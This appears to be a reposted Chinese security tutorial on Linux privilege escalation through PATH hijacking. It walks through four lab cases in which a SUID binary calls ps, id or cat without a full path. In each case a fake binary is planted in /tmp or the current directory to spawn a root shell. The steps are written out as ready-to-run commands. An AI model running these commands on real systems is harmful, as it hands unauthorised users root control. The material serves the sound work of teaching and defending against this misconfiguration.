linux在环境变量中提权
2022/4/14 7:14:48
本文主要是介绍linux在环境变量中提权,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.介绍
PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量: echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。
2.提权1
当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script nano demo.c
正如你在demo.c文件中看到的,我们正在调用ps命令。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o shell chmod u+s shell ls -la shell
受害者VM机器
假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。
Echo命令
cd /tmp echo “/bin/sh” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell whoami
Copy命令
cd /home/raj/script/ cp /bin/sh /tmp/ps echo $PATH export PATH=/tmp:$PATH ./shell whoami
Symlink命令
ln -s /bin/sh ps export PATH=.:$PATH ./shell id whoami
注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。
因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。
3.提权2
重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script nano demo.c
正如你在demo.c文件中看到的,我们正在调用id命令。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o shell2 chmod u+s shell2 ls -la shell2
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。
find / -perm -u=s -type f 2>/dev/null
进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。
cd /home/raj/script ls ./shell2
Echo命令
cd /tmp echo “/bin/sh” > id chmod 777 id echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./shell2 whoami
4.提权3
重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o raj chmod u+s raj ls -la raj
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。
find / -perm -u=s -type f 2>/dev/null
在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。
cd /home/raj/script/ ls ./raj
Nano编辑器
cd /tmp nano cat
现在,当终端打开时输入/bin/bash并保存。
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./raj whoami
5.提权4
重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。
然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。
ls gcc demo.c -o ignite chmod u+s ignite ls -la ignite
受害者VM机器
同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表
find / -perm -u=s -type f 2>/dev/null
在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。
cd /home/raj/script ls ./ignite
Vi编辑器
cd /tmp vi cat
现在,当终端打开时输入/bin/bash并保存。
chmod 777 cat ls -al cat echo $PATH export PATH=/tmp:$PATH cd /home/raj/script ./ignite whoami
原文链接:https://www.freebuf.com/articles/system/173903.html
这篇关于linux在环境变量中提权的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-30[译]漫画SELinux概念
- 2024-03-29linux 移动文件
- 2024-03-28linux .so file
- 2024-03-28Linux 磁盘管理
- 2024-03-28Linux学习笔记(十三)磁盘管理(一):磁盘分区
- 2024-03-26linux 创建 文件
- 2024-03-25使用SecureCRT对Linux vim进行颜色设置
- 2024-03-202019-2020-12 20199317 《Linux内核原理与分析》 第十二周作业
- 2024-03-20Linux运维的第二周总结
- 2024-03-13how to count number of directories in linux